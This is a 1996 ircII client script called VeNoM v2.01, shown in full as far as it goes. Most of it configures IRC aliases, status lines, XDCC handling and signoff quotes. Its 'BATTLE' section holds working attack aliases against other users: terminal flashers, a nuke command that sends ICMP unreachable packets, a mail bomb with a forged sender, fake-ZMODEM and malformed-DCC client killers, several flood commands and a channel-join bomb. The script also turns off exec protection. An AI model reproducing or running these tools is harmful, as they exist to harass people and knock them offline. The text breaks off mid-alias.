home *** CD-ROM | disk | FTP | other *** search
Text File | 1996-09-07 | 38.0 KB | 1,983 lines |
- # --VeNoM v2.01 by Dethnite--
- #
- # Ok, big release. The XDCC Commands have been redone, and now include a
- # viewer for the Queue, a Queue limit, Individual Pack Minimum-Speeds,
- # and an enhanced look. There is also a /RV command, which relays the last
- # internal script message to a nick or channel. Message handlers have been
- # optimized, no longer beep, and are easier on the eyes now. I have hopefully
- # fixed the bug in /TFR and /DELAY, as no problems have arisen in beta tests,
- # and I added a much-requested unix shell routine </SHELL> which opens a
- # window for unix commands. There is a random quote signoff also, and if
- # you were on #oldwarez the night that quote suggestions were taking
- # place, you most likely have one of your quotes in there :>. The script
- # has also been upgraded to a higher protection level, being unflashable, and
- # cannot be dcc-killed in any way. There is now an autoreply function that
- # when somebody states your name publicly CTRL-A will bring up that person's
- # nick for easy answering. A similar function </WNOTI> will highlight a
- # specified word if someone says it publicly, I.E., if you are looking
- # for a certain program, and someone offers it, the word will be highlighted
- # on the screen so you won't miss it. Slight other visual mods were added --
- # nothing spectacular though. *Whew!* I think that's it. TTY on IRC.
- #
- # -Dethnite-
-
- ^set NOVICE OFF
- ^set EXEC_PROTECTION OFF
-
- clear
-
- echo Backdoor Free, as always, i bring you...
- echo :=========================================================:------------------:
- echo : : :
- echo : `&a. .a$$$a. a&$$aa a&$$$&asa&$$$$$$&sxa.. . : On the third day :
- echo : . ..axsss $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$ : of the second :
- echo : $$$ $$$ $$$$$$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$ : month, in the :
- echo : $$$ $$$ $$$ sss $$$ $$$ $$$ $$$ $$$ $$$ $$$ : year of Two- :
- echo : . $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$ : Thousand - and- :
- echo : , $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$ : One, there will :
- echo : a $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$ : be war. There :
- echo : @/. "$$ $$$a$$$$$$$s$$$ $$$s$$$a$$" $$$ $$" $$" gh! : will be death... :
- echo : ----- "$"' v e n o m ` $$$ ----------- " - " ----- : There will be -- :
- echo : ` " ` : Armageddon. :
- echo : : :
- echo :===-VeNoM v2.01 by Dethnite-=============================:----Nostradamos---:
- echo
-
- # Assigns, etc.
-
- assign idletime 5
- assign autochannels ALL
-
- assign ftp_pgm ftp
- assign flash_pgm flash
- assign showjoin on
- assign bandef Normal
- assign extmes ON
- assign floodp ON
- assign cprot ON
- assign prot ON
- assign HLINGS OFF
- assign nhp OFF
- assign rejoin ON
- assign ctcpauto ON
- assign autorename ON
- assign delaycmd OFF
- assign begcmd OFF
- assign autoop on
- assign leechkick OFF
-
- assign AUTOGET ON
- assign AUTOSEND ON
- assign AUTOCLOSE OFF
- assign SECURITY OFF
- assign OVERWRITE OFF
- assign NUKE_PGM nuke
- assign CHRATE ON
- assign CHGETS OFF
-
- # Sensor Settings -- Flood Protection, etc.
-
- @ msgsensor = 10
- @ noticesensor = 20
- @ ctcpsensor = 4
- @ nicksensor = 3
- @ msensor = 2
- @ ksensor = 3
- @ dcclimit = 10
- @ resetcount = 16
- @ ig_count = 2
- @ TMPCONT = 0
- @ DCCMINSPEED = 0
-
- # Directories for Loading VeNoM
-
- EVAL @ venomfile = [$HOME/.venom]
- EVAL @ venombak = [$HOME/.venom.bak]
- EVAL @ UPLOADDIR = [$W]
- EVAL @ DOWNLOADDIR = [$W]
- EVAL @ AWAYFLE = [$venomfile\.away]
- EVAL @ OFFERFILE = [$venomfile\.xdcc]
- EVAL ^set logfile $W/irclog.ex
-
- ### Modifiable Crap
-
- assign ex [<-V->]
- assign venom.ver In Command of VeNoM v2.01 by Dethnite
- assign fingermsg <- VeNoM v2.01 by Dethnite ->
- assign pingmsg VeNoM.... for the serpent shows no mercy.
- assign floodmsg So you've decided to flood me. Heh. Fuck you.
- assign pk <- VeNoM ->
- assign abkickmsg <- Auto BKick ->
- assign channel.floodmsg <- That was cute... now GiT! ->
- assign nick.floodmsg <- Niq Flood ->
- assign uban.kickmsg <- User Ban ->
- assign ikey.kickmsg <- Wrong Key ->
- assign igtypes MSGS CTCP NOTICES INVITES NOTES PUBLIC
- assign defumes And I'm not Coming Back!
- assign signmsg <VeNoM v2.01> - The end of the world draws near...
- assign idlemes 5 Minute Autosetaway
- assign usermode +is-w
- assign false_chars ** ** ** ** ** *;* ** ** *$$* ** **
- assign bogus_patterns *fuck* *shit* *suck* *dick* *penis* *cunt* *haha* *fake* *split* *ass* *hehe* *bogus* *yawn* *leet*
-
- ### End Customization Crap
-
- ### The Following Commands are VITAL to VeNoM. *!DO NOT MODIFY THEM!*
-
- set input_prompt VeNoM v2.01 is loading. [.....]
-
- ^set status_format %T %*%@%N%#%S%H%B%Q%A%C%+%I%O%M%F %W%>%U
-
- EVAL ^assign OLD_STATUS $STATUS_FORMAT
-
- @ num.mlist = 0
- @ mcount = 0
- @ killadd = 0
- @ kcount = 0
- @ dccsent = 0
- @ nickcnt = 0
- @ away_messages = 0
- @ msgmax = 12
- @ MYSEND = [NO]
- @ FRIENDADD = 0
- @ GETCOUNT = 0
- @ VQC = 0
- @ QSLOTS = 30
- @ VCOUNT = 0
- @ PRIVADD = 0
- @ ENEMYADD = 0
- @ COMMENTADD = 0
- @ GETCOUNT = 0
- @ TOTPACK = 0
-
- EVAL @ flood_ok = [$help_service]
- assign ts tHA sHiT!
- assign tsp tHA sHiT!
- assign gender his
- assign notepad note.txt
- assign tssavefile .vthasrc
- assign bandef h
- assign ban_name HOST
- assign cstat ON
- assign awaystat ON
- assign isaway NO
- assign logirc OFF
- assign showleave ON
- assign showsign ON
- assign mesbeep OFF
- assign areply $N
-
- ## Quote Assigns
-
- alias runq {
- ^assign numqr 55
- }
-
- ^assign quoat1 <stdio> VeNoM v2.01 - Cause its a jungle out there
- ^assign quoat2 <DeadL> VeNoM v2.01 - There is No Antidote
- ^assign quoat3 <stdio> VeNoM v2.01 - The OTHER white meat
- ^assign quoat3 <stdio> VeNoM v2.01 - Family Fun for EVERYONE!
- ^assign quoat4 <JakeStone> VeNoM v2.01 - It's What I LEECH With!
- ^assign quoat5 <JianWa> VeNoM v2.01 - A new fragrance from dethnite
- ^assign quoat6 <[Messiah]> VeNoM v2.01 - My, What Big Fangs You Have!
- ^assign quoat7 <MrClean> VeNoM v2.01 - The Silent Killer
- ^assign quoat8 <JakeStone> VeNoM v2.01 - Your True Choice!
- ^assign quoat9 <despair> VeNoM v2.01 - dont you wish you were this fucking cool?
- ^assign quoat10 <jaPPa> VeNoM v2.01 - tell it to the IRS.
- ^assign quoat11 <crymson> VeNoM v2.01 - Guaranteed Core Dump Protection -- (Segfault, Core Dumped)
- ^assign quoat12 <conio> VeNoM v2.01 - Don't leave home without it.
- ^assign quoat13 <DeadL> VeNoM v2.01 - Best Script, Without A Prescription!
- ^assign quoat14 <stdio> VeNoM v2.01 - Dou you know where YOUR children are?
- ^assign quoat15 <DeadL> VeNoM v2.01 - The Downfall Of #oldwarez
- ^assign quoat16 <stdio> VeNoM v2.01 - Is that a rabbit?
- ^assign quoat28 <stdio> VeNoM v2.01 - Cause its a jungle out there
- ^assign quoat29 <DeadL> VeNoM v2.01 - There is No Antidote
- ^assign quoat30 <stdio> VeNoM v2.01 - The OTHER white meat
- ^assign quoat31 <stdio> VeNoM v2.01 - Family Fun for EVERYONE!
- ^assign quoat32 <JakeStone> VeNoM v2.01 - It's What I LEECH With!
- ^assign quoat33 <JianWa> VeNoM v2.01 - A new fragrance from dethnite
- ^assign quoat34 <[Messiah]> VeNoM v2.01 - "My, What Big Fangs You Have!"
- ^assign quoat35 <MrClean> VeNoM v2.01 - The Silent Killer
- ^assign quoat36 <JakeStone> VeNoM v2.01 - Your True Choice!
- ^assign quoat37 <despair> VeNoM v2.01 - dont you wish you were this fucking cool?
- ^assign quoat38 <jaPPa> VeNoM v2.01 - tell it to the IRS.
- ^assign quoat39 <crymson> VeNoM v2.01 - Guaranteed Core Dump Protection -- (Segfault, Core Dumped)
- ^assign quoat40 <conio> VeNoM v2.01 -- Don't leave home without it.
- ^assign quoat41 <DeadL> VeNoM v2.01 - Best Script, Without A Prescription!
- ^assign quoat42 <stdio> VeNoM v2.01 - Dou you know where YOUR children are?
- ^assign quoat43 <DeadL> VeNoM v2.01 - The Downfall Of #oldwarez
- ^assign quoat44 <stdio> VeNoM v2.01 - Is that a rabbit?
- ^assign quoat45 <SlowBurn> VeNoM v2.01 - 'Cuz Sliced Bread Sucks!
- ^assign quoat46 <KaZuM> VeNoM v2.01 - Yeeeow! It bit me in the ass!
- ^assign quoat47 <JakeStone> VeNoM v2.01 - Better than NetSEX
- ^assign quoat48 <DeadL> VeNoM v2.01 - Make up your own fucking signoff quote!
- ^assign quoat49 <[Messiah]> VeNoM v2.01 - Spit or Swallow?
- ^assign quoat50 <[Messiah]> VeNoM v2.01 - Not Your Ordinary Snake In The Grass
- ^assign quoat51 <_ViSUAL_> VeNoM v2.01 - The darkness gathers me.
- ^assign quoat52 <DeadL> VeNoM v2.01 - The One True Script - You Don't Like It? Fuck You!
- ^assign quoat53 <UMass_No1> VeNoM v2.01 - No Bugs (Microsoft Didn't Create it)
- ^assign quoat54 <DrasTiC> VeNoM v2.01 - No Backdoors....really! (Local Kill By Dethnite)
- ^assign quoat55 <Kerhop> VeNoM v2.01 - Deadlier than Aids
- ^assign quoat17 <SlowBurn> VeNoM v2.01 - 'Cuz Sliced Bread Sucks!
- ^assign quoat18 <KaZuM> VeNoM v2.01 - Yeeeow! It bit me in the ass!
- ^assign quoat19 <JakeStone> VeNoM v2.01 - Better than NetSEX
- ^assign quoat20 <DeadL> VeNoM v2.01 - Make up your own fucking signoff quote!
- ^assign quoat21 <[Messiah]> VeNoM v2.01 - Spit or Swallow?
- ^assign quoat22 <[Messiah]> VeNoM v2.01 - Not Your Ordinary Snake In The Grass
- ^assign quoat23 <_ViSUAL_> VeNoM v2.01 - The darkness gathers me.
- ^assign quoat24 <DeadL> VeNoM v2.01 - The One True Script - You Don't Like It? Fuck You!
- ^assign quoat25 <UMass_No1> VeNoM v2.01 - No Bugs (Microsoft Didn't Create it)
- ^assign quoat26 <DrasTiC> VeNoM v2.01 - No Backdoors....really! (Local Kill By Dethnite)
- ^assign quoat27 <Kerhop> VeNoM v2.01 - Deadlier than Aids
-
- ## End of Quote Assigns
-
- set AUTO_UNMARK_AWAY OFF
- set AUTO_WHOWAS OFF
- set BEEP ON
- set BEEP_MAX 2
- set BEEP_ON_MSG NONE
- set BEEP_WHEN_AWAY OFF
- set BOLD_VIDEO ON
- set CHANNEL_NAME_WIDTH 15
- set CLOCK ON
- set CLOCK_24HOUR OFF
- set COMMAND_MODE OFF
- set CONTINUED_LINE
- set DCC_BLOCK_SIZE 4096
- set DISPLAY ON
- set FLOOD_WARNING OFF
- set FULL_STATUS_LINE ON
- set HELP_WINDOW OFF
- set HIDE_PRIVATE_CHANNELS OFF
- set HIGHLIGHT_CHAR BOLD
- set HISTORY 30
- set HOLD_MODE OFF
- set INDENT ON
- set INPUT_PROTECTION ON
- set INSERT_MODE ON
- set INVERSE_VIDEO ON
- set LASTLOG 100
- set LASTLOG_LEVEL ALL DCC
- set LOG OFF
- EVAL ^if ([$MAIL]==[0]) {^set mail 1}
- set MAX_RECURSIONS 200
- set NO_CTCP_FLOOD ON
- set NOTIFY_ON_TERMINATION OFF
- set SCROLL ON
- set SEND_IGNORE_MSG OFF
- set SHOW_AWAY_ONCE ON
- set SHOW_CHANNEL_NAMES ON
- set SHOW_END_OF_MSGS OFF
- set SHOW_NUMERICS OFF
- set SHOW_STATUS_ALL ON
- set SHOW_WHO_HOPCOUNT ON
- set STATUS_AWAY <A>
- set STATUS_CHANNEL %C
- set STATUS_CHANOP @
- set STATUS_CLOCK %T
- set STATUS_HOLD ** MORE **
- set STATUS_MODE (+%+)
- set STATUS_MAIL M:%M
- set STATUS_NOTIFY A:%F
- set STATUS_OVERWRITE (overwrite)
- set STATUS_QUERY Q:%Q
- set STATUS_UMODE (+%#)
- set STATUS_USER <- VeNoM v2.01 ->
- set STATUS_WINDOW ^
- set SUPPRESS_SERVER_MOTD ON
- set TAB ON
- set TAB_MAX 2
- set UNDERLINE_VIDEO ON
- set USER_WALLOPS OFF
- set VERBOSE_CTCP OFF
- set WARN_OF_IGNORES ON
-
- bind meta1-[ meta2
- bind meta1-O meta2
- bind meta2-A backward_history
- bind meta2-B forward_history
- bind meta2-C forward_character
- bind meta2-D backward_character
- bind ^B self_insert
- bind ^_ self_insert
- bind ^V self_insert
- bind ^Z stop_irc
- bind ^X switch_channels
- bind ^O parse_command /ig $,
- bind ^I parse_command ^getmsg 1 $msglist
- bind ^R parse_command ^getmsg -1 $msglist
- bind ^F parse_command //flush
- bind ^Y parse_command /holdset
- bind ^P parse_command /xdcc plist
- bind ^A parse_command //^type ${arl} -
-
- ### Minor Aliases
-
- alias ww whowas
- alias sc names $C
- alias wi whois
- alias chops w -chops
- alias re redirect
- alias c mode $C $0-
- alias ji //join $decode($inv_chan)
- alias dc /dcc chat
- alias dcg //dcc close get
- alias dcs //dcc close send
- alias dcx //dcc close chat
- alias ex exec
- alias wii whois $0 $0
- alias quit {
- if ([$0]) {
- signoff $0-
- }{
- runq
- @ q1 = [$rand($numqr)]
- @ q2 = [$rand($q1)]
- @ qr = [$rand($q2)]
- ^assign quate $(quoat$qr)
- signoff $quate
- }}
- alias m msg
- alias n notice
- alias mm msg $0 [To: $0] $1-
- alias unignore noig
- alias about aboutgcommand
- alias avar {^assign $0 $1-}
- alias umode mode $N
- alias nnotice quote NOTICE $0 :$1-
- alias kkick quote KICK $0 $1 :$2-
- alias mmode quote MODE $0-
- alias mc quote MODE $C -lsnmpitk $chankey
- alias nokey quote MODE $C -k $chankey
- alias sec_check if (rmatch($0 $SECLIST)) {@ FUNCTION_RETURN = [YES]}{@ FUNCTION_RETURN = [NO]}
- alias isnum if (rmatch($0 *0* *1* *2* *3* *4* *5* *6* *7* *8* *9*)) {@ FUNCTION_RETURN = 1}{@ FUNCTION_RETURN = 0}
- alias isalpha if (rmatch($0 *a* *b* *c* *d* *e* *f* *g* *h* *i* *j* *k* *l* *m* *n* *o* *p* *q* *r* *t* *u* *v* *w* *x* *y* *z*)) {@ FUNCTION_RETURN = 1}{@ FUNCTION_RETURN = 0}
- alias _checkkey if (!rmatch($M *k*)) {^set status_mode (+%+)}{^timer 15 _checkkey}
- alias wl wholeft
- alias i inv $,
- alias bkick bk
- alias deop dop
- alias dop ndop $C $0-
- alias getig {@ FUNCTION_RETURN = ig_count * 60}
- alias submode if (mcount>0) {@ mcount = mcount - 1}
- alias subkick if (kcount>0) {@ kcount = kcount - 1}
- alias chanpass if ((match($strip(# $0) $AutoChannels))||([$AutoChannels]==[ALL])) {^assign FUNCTION_RETURN YES}
- alias _delayop if (isop($decode($1) $0)==0) {/mmode $0 +o $decode($1)}
- alias enickonly {^assign FUNCTION_RETURN $encode($left($index(! $0) $0))}
- alias userdomain @ function_return = LEFT($INDEX(@ $0) $0)##[@]##MID(${1+INDEX(. $0)} 99 $0)
- alias hostonly @ function_return = mid(${index(@ $0)+1} 99 $0)
- alias newdate @ function_return = mid(4 12 $stime($0))
- alias vecho {
- ^xecho -level crap $ex $0-
- ^assign lastv $ex $0-
- }
- alias pubact if (isop($N $1)) {/kkick $1 $0 $channel.floodmsg}
- alias serv {/if ([$0]) {//server $0-}{/if ([$_server]!=[]) {//server $_server}{//server 1}}}
- alias pubecho if ([$1]==[$C]) {/echo <$0> $2-}{/echo <$0:$1> $2-}
- alias safe {^assign FUNCTION_RETURN $strip(\;\(\)*/\\\{\}$$~`|'\" $0-)}
- alias msafe {^assign FUNCTION_RETURN $strip(\;$$ $0-)}
- alias j if ((![$0])||([&]==[$[1]0])||([#]==[$[1]0])||([$0]==[0])||([-]==[$[1]0])) {//join $0-} {//join #$0-}
- alias l if (![$0]) {//leave $C}{/if (([&]==[$[1]0])||([#]==[$[1]0])||([$0]==[*])) {//leave $0} {//leave #$0}}
- alias ap {
- ^set STATUS_USER [Lag (?)]
- quote PING $time() $S
- }
- alias tref {
- ^timer -delete $0
- ^timer -refnum $0-
- }
- alias holdset {
- ^set HOLD_MODE TOGGLE
- vecho Screen pausing mode is now $HOLD_MODE\.
- }
- alias cwait {
- wait -CMD #
- wait -CMD $0-
- }
- alias purge {
- foreach $0 ii {/purge $0.$ii}
- ^assign -ii
- ^assign -$0
- }
- alias sb {
- ^on ^367 "*" {
- if ([$4]) {/echo *** $[10]1 $[31]2 $[16]3 at $newdate($4)}
- {/vecho $1-}}
- if ([$0]) {//mode #$strip(# $0) +b}
- {//mode $C +b}
- cwait ^on 367 - "*"
- }
- alias w if ([$0]) {
- if ([$0]==[-chops]) {//who $0 $C $1-}
- {//who -h $0-}}
- {//who $C}
- alias t {
- if ([$0]==[#*]) {//topic $0-}
- {//topic $C $0-}}
- alias inv {
- if ([$0]) {
- if ([$1]) {//invite $0-}
- {//invite $0 $C}}
- {/vecho You need to specify a nick to invite.}}
- alias pubcat {
- if ([$0]) {//^exec -notice $C cat $0}
- {/vecho Usage: /pubcat <filename>}}
- alias ver {
- if ([$0]) {/ctcp $0 VERSION}
- {/ctcp $C VERSION}}
- alias p {
- if ([$0]) {//ping $0}{//ping $C}}
- alias op {
- mmode $C +ooo $0 $1 $2
- if ([$3]) {/op $3-}}
- alias ndop {
- mmode $0 -oo $1 $2
- if ([$3]) {/ndop $0 $3-}}
- alias ftm {
- if ([$left(1 $0)]==[0]) {@ timestr = [$mid(1 4 $0)]}{@ timestr = [$left(5 $0)]}
- @ timestr = [$timestr $tolower($right(2 $0))]
- @ FUNCTION_RETURN = [$timestr]
- }
-
- ### Unix Commands
-
- alias sping exec ping $0 | tail -2
- alias wc exec wc
- alias quota exec quota -v
- alias du exec du -s $HOME
- alias ps exec ps -x
- alias kp exec kill -9
- alias cal exec cal
- alias ls2 exec ls -FC
- alias ls3 exec ls -aFCs
- alias ls exec ls -l
- alias nsl exec nslookup
- alias rm exec rm
- alias mv exec mv
- alias cp exec cp -r
- alias mkdir exec mkdir
- alias chmod exec chmod
- alias find exec find $HOME -name $0 -print
- alias sort exec sort
- alias gzip exec gzip
- alias gunzip exec gunzip
- alias mail exec mail $0 < $1
-
- alias shell if (openwin == 0) {
- ^window new name UnixShell level crap,all,lastlog prompt shell>
- ^set hold_mode off
- ^on ^exec_exit UnixShell {
- ^window refnum UnixShell kill
- vecho Shell session terminated.
- }
- ^on ^window_kill UnixShell {^exec -kill %Shell}
- @ openwin = 0
- ^exec -window -name UnixShell sh
- ^query %UnixShell
- vecho Type ^W? for windowing commands, or EXIT to exit.
- }{
- @ openwin = 0
- ^exec -kill %UnixShell
- ^window kill UnixShell
- }
-
- # The Timed File Requesting routine
-
- alias tfr {
- vecho Currently, Timed-File Requesting is $begcmd\.
- ^assign begcmd $"[<-V->] Turn Timed-File Requesting ON or OFF?: "
- if ([$begcmd]==[on]) {
- ^assign begprog $"[<-V->] Enter the program you are looking for (spaces are allowed): "
- if ([$begprog]) {
- @ begtime = 300
- vecho Timed-File Requesting is now $begcmd\.
- vecho TFR's will execute every 5 minutes.
- eval ^timer $begtime quote PRIVMSG $N BEGEXECUTE
- }}{
- if ([$begcmd]==[off]) {
- /eval ^assign -begtime
- /eval ^assign -begprog
- /eval ^assign begcmd OFF
- vecho Timed-File Requesting is now OFF.
- }}
- }
-
- on ^raw_irc "% PRIVMSG % *BEGEXECUTE*" if ([$begcmd]==[on]) {
- vecho Requesting...
- //say I am looking for $begprog ... if you have it, or have seen it, /MSG me!
- eval ^timer $begtime quote PRIVMSG $N BEGEXECUTE
- }
-
- ### DCC PARSER
-
- alias dcc {
- //dcc $0-
- if ([$0]==[SEND]) {^timer 60 checksend $1 $2}
- if ([$0]==[CHAT]) {
- ^addmsg \=$1 $msglist
- ^on ^401 "% $1 *" {
- ^dcx $1
- vecho I can't find $1 on IRC. Closing DCC CHAT request.
- }
- cwait ^on ^401 - "% $1 *"
- }}
-
- ### IsOp Function
-
- alias isop {
- if (([$1] == [$C])&&([$0] == [$N])) {
- if ([$P] == [@]) {@ FUNCTION_RETURN = 1}{@ FUNCTION_RETURN = 0}}
- {/EVAL @ FUNCTION_RETURN = $ischanop($0 $1)}}
-
- # Flash / Unflash Commands
-
- alias unflash {
- ^set status_user c
- ^set status_user \;\24r
- ^set status_user m
- ^set status_user ?5l
- ^set status_user <- VeNoM ->
- ^set status_clock c
- ^set status_clock \;\24r
- ^set status_clock m
- ^set status_clock ?5l
- ^set status_clock 666
- timer 3 ^set status_clock %T
- echo [<-V->] PRESS CTRL-L TO FIX.
- }
-
- alias flash {
- if ([$0]) {
- Userhost $0 -CMD if ([$3]) {
- if ([$4]!=[<UNKNOWN>]) {
- ^exec $flash_pgm $strip(#;~ $3)@$4 &
- ^exec $flash_pgm $strip(#;~ $3)@$4 &
- vecho Flashed $0 \($strip(#;~ $3)@$4\)
- }
- {/vecho I can't find $0 on IRC.}
- }
- }
- {/vecho USAGE: /FLASH <nick>.}
- }
-
- alias superflash {
- if (match($1 basic killer zmodem)) {
- ^assign frias $1
- }
- {
- ^assign frias ${friar}
- }
- if ([$0]) {
- userhost $0 -cmd if ([$4]!=[<UNKNOWN>]) {
- ^echo [<-V->] Sending a ${frias} flash to $0 \($strip(~ $3)@$4\)
- ^exec superflash $strip(~ $3)@$4 $frias
- }
- {
- ^echo [<-V->] I can't find $0.
- }
- }
- {
- ^echo [<-V->] You must specify a nick.
- }
- ^timer 2 ^assign -frias
- }
-
- # The "BATTLE" Commands
-
- assign TSU ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-
- assign RCRAPCRAP abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789a
- alias randcrap {
- @ RCOUNTER = 1
- while (RCOUNTER < [$0]) {
- @ RCOUNTER = RCOUNTER + 1
- EVAL ^assign RCRAP $MID($rand(62) 1 $RCRAPCRAP)${RCRAP}
- }
- EVAL ^assign RCRAP $MID($rand(25) 1 $RCRAPCRAP)${RCRAP}
- ^assign FUNCTION_RETURN $RCRAP
- ^assign -RCRAP
- }
-
- alias mbomb {
- if ([$0]) {
- userhost $0 -cmd if ([$4]!=[<UNKNOWN>]) {
- vecho <SENDING MAIL BOMB> To: $0\($strip(~ $3)@$4\)
- ^exec ./mflash netcom.com TeTsuO@Forge.of.Evil $strip(~ $3)@$4
- }
- {vecho I can't find $0 on irc.}
- }
- {vecho USAGE: /MBOMB <nick>.}
- }
-
- alias fakezm {
- vecho <FAKE-ZMODEM STRING SENT> To: $0
- nnotice $0 **B01000000$rand(99)fed$rand(9)}
-
- alias floodzm {
- vecho <FAKE-ZMODEM FLOOD SENT> To: $0
- nnotice $0 **B01000000$rand(99)fed$rand(9)
- nnotice $0 **B01000000$rand(99)fed$rand(9)
- nnotice $0 **B01000000$rand(99)fed$rand(9)
- nnotice $0 **B01000000$rand(99)fed$rand(9)
- nnotice $0 **B01000000$rand(99)fed$rand(9)
- nnotice $0 **B01000000$rand(99)fed$rand(9)
- nnotice $0 **B01000000$rand(99)fed$rand(9)
- nnotice $0 **B01000000$rand(99)fed$rand(9)
- nnotice $0 **B01000000$rand(99)fed$rand(9)
- nnotice $0 **B01000000$rand(99)fed$rand(9)
- nnotice $0 **B01000000$rand(99)fed$rand(9)
- nnotice $0 **B01000000$rand(99)fed$rand(9)
- nnotice $0 **B01000000$rand(99)fed$rand(9)
- nnotice $0 **B01000000$rand(99)fed$rand(9)
- }
-
- alias vnrepeat {
- @ RCOUNT = 0
- ^assign vncont TRUE
- while ((RCOUNT < [$0])&&([$vncont]==[TRUE])) {
- @ RCOUNT = RCOUNT + 1
- /$1-
- wait
- ^on ^401 * {;^assign vncont FALSE}
- ^on ^407 * {;^assign vncont FALSE}
- wait
- }
- ^assign -RCOUNT
- ^assign -akcont
- ^on ^401 -*
- ^on $407 -*
- }
-
- alias dcckill {
- if ([$0]) {
- vecho <DCC CLIENT-KILL SENT> To: $0
- quote privmsg $0 :DCC SEND $randcrap(5)$${rand(9999)} $${rand(9999999999)} $${rand(9999)} $${rand(9999)}
- }
- {USAGE: /DCCKILL <nick>}
- }
-
- alias repeatcmd {
- @ RCOUNT = 0
- while (RCOUNT < [$0]) {
- @ RCOUNT = RCOUNT + 1
- /$1-
- }
- ^assign -RCOUNT
- }
-
- alias nuke {
- if ([$0]) {
- ^on ^311 "*" {^assign ndomain $3}
- ^on ^312 "*" {^assign nserver $1}
- ^on ^319 "*" #
- ^whois $0
- wait
- EVAL ^exec $nuke_pgm $ndomain $nserver unreach &
- EVAL ^exec $nuke_pgm $nserver $ndomain unreach &
- /vecho <NUKE> run on $0 at $ndomain on server $nserver\.
- ^on 311 - "*"
- ^on 312 - "*"
- ^on 319 - "*"
- ^assign -ndomain
- ^assign -nserver
- }
- {/echo
- /vecho Usage: /NUKE <nick>. Root access is required to run this.}
- }
-
- alias pingflood {
- quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING
- quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING
- quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING
- quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING
- quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING
- vecho <PING FLOOD sent to $0>
- }
- alias sedflood {
- quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED
- quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED
- quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED
- quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED
- quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED
- vecho <CTCP SED FLOOD sent to $0>
- }
-
- alias tsunami {
- EVAL repeatcmd 4 quote PRIVMSG $0 :$TSU
- vecho <TSUNAMI sent to $0>
- }
-
- alias ajbomb {
- if (rmatch($C #*)) {/EVAL ^assign OLDCHAN $C}
- {
- vecho You aren't on a channel, so you'll be on #text
- ^assign OLDCHAN #text
- }
- if ([$1]) {^assign BOMBCHAN $1}
- {^assign BOMBCHAN #$randcrap(8)}
- //join $BOMBCHAN
- wait
- //channel $OLDCHAN
- ^assign -OLDCHAN
- EVAL ^on -join "$0 $BOMBCHAN" {
- //mode $1 +k #8?3\;5h\(0
- //leave $1
- EVAL ^on join - "$0 $1"
- }
- //invite $0 $BOMBCHAN
- vecho <AUTO-JOIN BOMB'ed $0>
- ^assign -BOMBCHAN
- }
-
- alias ctcpflood {
- repeatcmd 18 ctcp $0 CLIENTINFOCLIENTINFO
- vecho <CTCP CLIENTINFO flooded $0> You might get a lot of replies...
- }
-
- alias nickflood {
- EVAL ^assign OLDNICK $N
- @ NFCOUNTER = 0
- while (NFCOUNTER < [$0]) {
- @ NFCOUNTER = NFCOUNTER + 1
- EVAL quote NICK $randcrap(2)$rand(9999999)
- }
- ^assign -NFCOUNTER
